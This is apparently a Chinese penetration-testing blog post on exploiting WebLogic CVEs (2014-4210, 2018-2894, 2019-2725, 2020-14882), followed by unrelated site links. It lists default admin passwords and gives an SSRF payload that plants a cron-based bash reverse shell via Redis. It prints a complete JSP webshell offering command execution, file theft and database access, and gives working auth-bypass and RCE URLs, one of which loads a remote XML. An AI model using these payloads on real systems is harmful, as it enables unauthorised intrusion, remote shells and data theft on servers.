Weblogic歷史漏洞利用

文章目錄

  • 漏洞介紹
      • WebLogic 漏洞概述
  • 歷史漏洞利用
      • 弱口令
      • CVE-2014-4210
      • CVE-2018-2894
      • CVE-2019-2725
      • CVE-2020-14882

漏洞介紹

Oracle WebLogic Server 是一個用于開發和部署企業級 Java 應用的服務器平臺,但其歷史上存在多個嚴重漏洞,尤其以遠程代碼執行(RCE)和權限提升漏洞為主,常被攻擊者利用。以下是 WebLogic 漏洞的簡要介紹,結合滲透測試視角:


WebLogic 漏洞概述

  • 常見漏洞類型:
    • 遠程代碼執行(RCE):如 CVE-2020-14882、CVE-2019-2725、CVE-2024-21216,允許未授權攻擊者通過 HTTP、T3 或 IIOP 協議發送惡意請求,執行任意代碼,可能完全控制服務器。
    • 反序列化漏洞:如 CVE-2019-2729、CVE-2020-2555,因 WebLogic 未嚴格過濾輸入數據,攻擊者可通過惡意序列化對象觸發代碼執行。
    • 目錄穿越:如 CVE-2022-21371,允許攻擊者訪問敏感文件(如配置文件)。
    • 拒絕服務(DoS):如 CVE-2025-21549,導致服務器崩潰或不可用。
  • 受影響版本:常見受影響版本包括 10.3.6.0、12.1.3.0、12.2.1.3/4、14.1.1.0 等,老版本尤其易受攻擊。
  • CVSS 分數:許多漏洞(如 CVE-2020-14882、CVE-2024-21216)評分高達 9.8,易于利用且無需身份驗證。

漏洞主要影響版本:

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.1

Weblogic 12.2.1.2

Weblogic 12.2.1.3

Weblogic 14.1.1.0

  • 漏洞掃描腳本:
git clone https://gitee.com/yijingsec/WeblogicScan
cd WeblogicScan
python WeblogicScan.py -u 127.0.0.1 -p 7001

歷史漏洞利用

弱口令

管理后臺/console

賬號:weblogic

密碼:Oracle@123

其他常見口令

system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem

CVE-2014-4210

打一個ssrf,漏洞產生于 /uddiexplorer/SearchPublicRegistries.jsp 頁面中

按如下方式抓包

image-20250716211140109

修改operator參數為http://127.0.0.1:7000,隨機訪問一個端口顯示could not connect

通過SSRF攻擊內網Redis,payload需要進行url編碼

http://172.28.0.2:6379/testset 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/555.71.5.555/6666 0
>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
saveaaa

CVE-2018-2894

未授權任意文件上傳

Oracle WebLogic Server 版本

10.3.6.0

12.1.3.0

12.2.1.2

12.2.1.3

影響頁面為:/ws_utc/config.do,/ws_utc/begin.do

訪問http://your-ip:7001/ws_utc/config.do,設置Work Home Dir為/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我將目錄設置為ws_utc應用的靜態文件css目錄,訪問這個目錄是無需權限的

然后點擊安全->增加->上傳webshell,抓包查看時間戳

img

  • 然后訪問http://your-ip:7001/ws_utc/css/config/keystore/[時間戳]_[文件名],即可執行webshell

一句話木馬shell.jsp

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "shell";String cs = "UTF-8";String EC(String s) throws Exception {return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s) throws Exception {String[] x = s.trim().split("choraheiheihei");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if (x.length > 4) {c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb) throws Exception {File k = new File("");File r[] = k.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0, 2));}}void BB(String s, StringBuffer sb) throws Exception {File oF = new File(s), l[] = oF.listFiles();String sT, sQ, sF = "";java.util.Date dt;SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for (int i = 0; i < l.length; i++) {dt = new java.util.Date(l[i].lastModified());sT = fm.format(dt);sQ = l[i].canRead() ? "R" : "";sQ += l[i].canWrite() ? " W" : "";if (l[i].isDirectory()) {sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");} else {sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";}}sb.append(sF);}void EE(String s) throws Exception {File f = new File(s);if (f.isDirectory()) {File x[] = f.listFiles();for (int k = 0; k < x.length; k++) {if (!x[k].delete()) {EE(x[k].getPath());}}}f.delete();}void FF(String s, HttpServletResponse r) throws Exception {int n;byte[] b = new byte[512];r.reset();ServletOutputStream os = r.getOutputStream();BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));os.write(("->" + "|").getBytes(), 0, 3);while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.write(("|" + "<-").getBytes(), 0, 3);os.close();is.close();}void GG(String s, String d) throws Exception {String h = "0123456789ABCDEF";File f = new File(s);f.createNewFile();FileOutputStream os = new FileOutputStream(f);for (int i = 0; i < d.length(); i += 2) {os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));}os.close();}void HH(String s, String d) throws Exception {File sf = new File(s), df = new File(d);if (sf.isDirectory()) {if (!df.exists()) {df.mkdir();}File z[] = sf.listFiles();for (int j = 0; j < z.length; j++) {HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());}} else {FileInputStream is = new FileInputStream(sf);FileOutputStream os = new FileOutputStream(df);int n;byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}is.close();os.close();}}void II(String s, String d) throws Exception {File sf = new File(s), df = new File(d);sf.renameTo(df);}void JJ(String s) throws Exception {File f = new File(s);f.mkdir();}void KK(String s, String t) throws Exception {File f = new File(s);SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt = fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d) throws Exception {URL u = new URL(s);int n = 0;FileOutputStream os = new FileOutputStream(d);HttpURLConnection h = (HttpURLConnection) u.openConnection();InputStream is = h.getInputStream();byte[] b = new byte[512];while ((n = is.read(b)) != -1) {os.write(b, 0, n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb) throws Exception {String l;BufferedReader br = new BufferedReader(new InputStreamReader(is));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}}void NN(String s, StringBuffer sb) throws Exception {Connection c = GC(s);ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while (r.next()) {sb.append(r.getString(1) + "\t|\t\r\n");}r.close();c.close();}void OO(String s, StringBuffer sb) throws Exception {Connection c = GC(s);String[] x = s.trim().split("choraheiheihei");ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});while (r.next()) {sb.append(r.getString("TABLE_NAME") + "\t|\t\r\n");}r.close();c.close();}void PP(String s, StringBuffer sb) throws Exception {String[] x = s.trim().split("\r\n");Connection c = GC(s);Statement m = c.createStatement(1005, 1007);ResultSet r = m.executeQuery("select * from " + x[x.length-1]);ResultSetMetaData d = r.getMetaData();for (int i = 1; i <= d.getColumnCount(); i++) {sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {Connection c = GC(s);Statement m = c.createStatement(1005, 1008);BufferedWriter bw = null;try {ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d = r.getMetaData();int n = d.getColumnCount();for (int i = 1; i <= n; i++) {sb.append(d.getColumnName(i) + "\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file = new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));}while (r.next()) {for (int i = 1; i <= n; i++) {if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+"" + "\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}} catch (Exception e) {sb.append("Result\t|\t\r\n");try {m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");} catch (Exception ee) {sb.append(ee.toString() + "\t|\t\r\n");}}m.close();c.close();}
%>
<%//String Z = EC(request.getParameter(Pwd) + "", cs);cs = request.getParameter("code") != null ? request.getParameter("code")+ "":cs;request.setCharacterEncoding(cs);response.setContentType("text/html;charset=" + cs);StringBuffer sb = new StringBuffer("");
if (request.getParameter(Pwd) != null) {try {String Z = EC(request.getParameter("action") + "");String z1 = EC(request.getParameter("z1") + "");String z2 = EC(request.getParameter("z2") + "");sb.append("->" + "|");String s = request.getSession().getServletContext().getRealPath("/");if (Z.equals("A")) {sb.append(s + "\t");if (!s.substring(0, 1).equals("/")) {AA(sb);}} else if (Z.equals("B")) {BB(z1, sb);} else if (Z.equals("C")) {String l = "";BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}br.close();} else if (Z.equals("D")) {BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");} else if (Z.equals("E")) {EE(z1);sb.append("1");} else if (Z.equals("F")) {FF(z1, response);} else if (Z.equals("G")) {GG(z1, z2);sb.append("1");} else if (Z.equals("H")) {HH(z1, z2);sb.append("1");} else if (Z.equals("I")) {II(z1, z2);sb.append("1");} else if (Z.equals("J")) {JJ(z1);sb.append("1");} else if (Z.equals("K")) {KK(z1, z2);sb.append("1");} else if (Z.equals("L")) {LL(z1, z2);sb.append("1");} else if (Z.equals("M")) {String[] c = { z1.substring(2), z1.substring(0, 2), z2 };Process p = Runtime.getRuntime().exec(c);MM(p.getInputStream(), sb);MM(p.getErrorStream(), sb);} else if (Z.equals("N")) {NN(z1, sb);} else if (Z.equals("O")) {OO(z1, sb);} else if (Z.equals("P")) {PP(z1, sb);} else if (Z.equals("Q")) {QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");}} catch (Exception e) {sb.append("ERROR" + ":// " + e.toString());}sb.append("|" + "<-");out.print(sb.toString());
}
%>

CVE-2019-2725

反序列化RCE

影響版本:

Oracle WebLogic Server 10.*

Oracle WebLogic Server 12.1.3

影響組件

bea_wls9_async_response.war

wsat.war

通過訪問路徑/_async/AsyncResponseService 判斷對應組件是否開啟

漏洞利用腳本:https://gitee.com/yijingsec/CVE-2019-2725

shell上傳路徑

# linux
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_intern
al/bea_wls_internal/9j4dqk/war
# windows
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_
WL_internal\bea_wls_internal\9j4dqk\war

CVE-2020-14882

參考p神,https://gitee.com/yijingsec/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md

CVE-2020-14882:允許未授權的用戶繞過管理控制臺的權限驗證訪問后臺;

CVE-2020-14883:允許后臺任意用戶通過HTTP協議執行任意命令

使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic服務器上以未授權的任意用戶身份執

行命令。

影響范圍

WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.3
WebLogic 12.2.1.4
WebLogic 14.1.1.0

首先測試權限繞過漏洞(CVE-2020-14882),訪問以下URL,即可未授權訪問到管理后臺頁面:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

Weblogic 12.2.1以上版本利用,直接訪問如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession執行命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一種更為通殺的方法,最早在CVE-2019-2725被提出,對于所有Weblogic版本均有效。

首先,我們需要構造一個XML文件,并將其保存在Weblogic可以訪問到的服務器上,如http://example.com/rce.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[touch /tmp/success2]]></value></list></constructor-arg></bean>
</beans>

然后通過如下URL,即可讓Weblogic加載這個XML,并執行其中的命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

這個利用方法也有自己的缺點,就是需要Weblogic的服務器能夠訪問到惡意XML。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/89064.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/89064.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/89064.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[Rust 基礎課程]使用 Cargo 創建 Hello World 項目

Cargo&#xff08;https://crates.io/&#xff09; 是 Rust 語言中最常用的構建工具和包管理工具&#xff0c;我們看看怎么通過 Cargo 創建一個 Hello World 項目并運行。 :::warning 通過官方的 Rust 安裝方式安裝 Rust&#xff0c;Cargo 是同時默認安裝好的了 ::: 首先&am…

C語言 --- 函數遞歸

函數遞歸一、什么是函數遞歸二、函數遞歸的要點三、示例1.計算n的階乘2.提取一個任意正整數的所有位數&#xff0c;按順序排列3.獲取第n個斐波那契數&#xff0c;最開始的兩個數是1&#xff0c;1四、總結一、什么是函數遞歸 函數遞歸是一種解決問題的思想&#xff0c;是將一個…

GitHub 趨勢日報 (2025年07月14日)

&#x1f4ca; 由 TrendForge 系統生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日報中的項目描述已自動翻譯為中文 &#x1f4c8; 今日獲星趨勢圖 今日獲星趨勢圖1916claude-code795the-book-of-secret-knowledge728free-for-dev547markitdown367…

PyTorch中張量(TensorFlow)操作方法和屬性匯總詳解和代碼示例

1、張量的操作匯總 下面是 PyTorch 中常見的 張量操作方法匯總&#xff0c;包括 創建、索引、變換、數學運算、廣播機制、維度操作 等內容&#xff0c;并附上詳解和代碼示例&#xff0c;便于系統學習與實戰參考。一、張量創建&#xff08;torch.tensor 等&#xff09; import t…

統一日志格式規范與 Filebeat+Logstash 實踐落地

背景 在多部門、多技術棧并存的企業環境中&#xff0c;日志收集與分析是保障系統穩定運行的核心能力之一。然而&#xff0c;不同開發團隊采用各異的日志打印方式&#xff0c;導致日志數據結構混亂&#xff0c;嚴重影響后續的收集、存儲、檢索與告警效率。 比如我們大部門就有多…

【鴻蒙HarmonyOS】鴻蒙app開發入門到實戰教程(三):實現一個音樂列表的頁面

鴻蒙里面&#xff0c;實現一個音樂播放的列表,模擬數組的數據展示 實現效果代碼實現 準備數據 songs:SongItemTypes[] [{img:https://yjy-teach-oss.oss-cn-beijing.aliyuncs.com/HeimaCloudMusic/0.jpg,name:直到世界的盡頭,author:WANDS},{img:https://yjy-teach-oss.oss-cn…

2025年滲透測試面試題總結-2025年HW(護網面試) 47(題目+回答)

安全領域各種資源&#xff0c;學習文檔&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具&#xff0c;歡迎關注。 目錄 2025年HW(護網面試) 47 1. UDF提權 2. 命令執行與代碼執行的區別 3. 文件包含利用姿勢 4. 漏洞復現流程 …

iPhone 數據擦除軟件評測(最新且全面)

當您準備出售、捐贈或回收 iPhone 時&#xff0c;僅僅恢復出廠設置并不足以保證您的個人數據徹底消失。專業的 iPhone 數據擦除軟件采用先進的技術&#xff0c;確保您的敏感信息永久無法恢復。本文回顧了十種流行的 iPhone 數據擦除工具&#xff0c;詳細介紹了它們的功能、優點…

Qt 將觸摸事件轉換為鼠標事件(Qt4和Qt5及以上版本)

在Qt中&#xff0c;觸摸事件&#xff08;QTouchEvent&#xff09;和鼠標事件&#xff08;QMouseEvent&#xff09;是兩種不同的輸入事件類型。通常情況下&#xff0c;觸摸事件不會自動轉換為鼠標事件&#xff0c;因為它們代表的是不同的輸入設備&#xff08;觸摸屏 vs 鼠標&…

Blender 云渲染高效流程:渲染 101 集群加速實戰?

一、核心優勢&#xff1a;適配 Blender 全場景需求? ? 全渲染器深度兼容? Cycles&#xff08;CPU/GPU 模式&#xff09;&#xff1a;云端 4090 顯卡渲染速度比本地快 12 倍&#xff0c;支持 8K 分辨率 16K 紋理無壓力? Eevee 實時渲染&#xff1a;集群同步輸出預覽動畫&am…

SQL學習記錄01

什么是SQL&#xff1f; Structured Query Language &#xff08;結構化查詢語言&#xff09;&#xff0c;與關系型數據庫進行通信的標準語言。什么是數據庫&#xff1f;“按照數據結構來組織、存儲、和管理數據的倉庫。”一個長期存儲在計算機內的、有組織的、可共享的、統一管…

醫療項目如何應對法規變更?

醫療項目應對法規變更的關鍵策略包括建立法規監測體系、及時內部培訓和溝通、調整業務流程和合規標準、技術系統快速迭代升級。 其中&#xff0c;建立有效的法規監測體系尤其重要。這意味著企業需要實時關注監管機構發布的政策更新和公告&#xff0c;迅速理解法規變化內容及對自…

AI Top10

AI 前十排名排名團隊/機構名稱國家核心優勢領域1DeepMind英國強化學習、Alpha系列模型2OpenAI美國GPT系列、多模態大模型3DeepSeek中國高效NLP模型、開源生態建設4Google Brain美國Transformer架構、TensorFlow框架5Meta AI (FAIR)美國計算機視覺、Llama系列模型6NVIDIA Resear…

LabVIEW通知器函數應用

介紹LabVIEW通知器&#xff08;Notifier&#xff09;函數&#xff0c;演示兩類并行循環通信場景&#xff1a;單對循環數據交互、多循環通知聚合&#xff0c;含程序框圖&#xff08;數據發送 / 接收、多循環通知&#xff09;與前面板&#xff08;數據顯示&#xff09;。功能說明…

推薦《Python 編程:從入門到實踐》之Python編程的基礎知識

在 Python 學習資源琳瑯滿目的當下&#xff0c;《Python 編程&#xff1a;從入門到實踐》脫穎而出&#xff0c;堪稱 Python 入門的不二之選。本書由經驗豐富的教育工作者撰寫&#xff0c;以清晰易懂的語言和循序漸進的方式&#xff0c;引領讀者從 Python 的基礎語法逐步邁向實際…

Kafka入門和基礎配置

目錄Kafka入門消息引擎系統ABC快速搞定Kafka術語kafka三層消息架構名詞術語Kafka基礎Kafka部署參考重要配置參數Broker端參數Topic級別參數JVM參數Kafka是消息引擎系統&#xff0c;也是分布式流處理平臺Kafka入門 消息引擎系統ABC 民間版&#xff1a;系統 A 發送消息給消息引…

OPENPPP2 VEthernet 網絡協議堆棧(CTCP)VNetStack 深度技術解析

&#x1f310; OPENPPP2 VEthernet 網絡協議堆棧&#xff08;CTCP&#xff09;VNetStack 深度技術解析&#x1f3d7;? 一、系統架構全景圖 #mermaid-svg-FdlbKZCGQDDbvOL6 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermai…

Gartner發布2025年中國網絡安全成熟度曲線:網絡安全的重點正轉向保護AI、推動業務轉型和增強組織韌性

網絡安全的重點正轉向保護人工智能、推動業務轉型和增強組織韌性。首席信息官及其安全和風險管理主管可以利用這份技術成熟度曲線來識別實用且高價值的技術和實踐&#xff0c;從而保持安全和敏捷。 戰略規劃假設 到2027年&#xff0c;60%的中國大型組織將在安全運營中心&#x…

網絡準入控制系統的作用解析,2025年保障企業入網安全第一道防線

在當今數字化時代&#xff0c;網絡已成為企業運營的基礎&#xff0c;隨著網絡的廣泛應用&#xff0c;網絡準入控制系統作為保障網絡安全的重要手段&#xff0c;正發揮著至關重要的作用。保障網絡安全網絡準入控制系統如同網絡的忠誠衛士&#xff0c;它為網絡大門安裝了智能鎖&a…

java基礎(day09)

目錄 1.繼承的作用 2.繼承樹 3.protected和super protected super 注&#xff1a;super/this()--構造方法&#xff0c;第一行&#xff0c;一般不同時出現 4.向上向下轉型 向上轉型 向下轉型 final 小結 1.繼承的作用 理解&#xff1a;首先就是可以實現代碼復用&#x…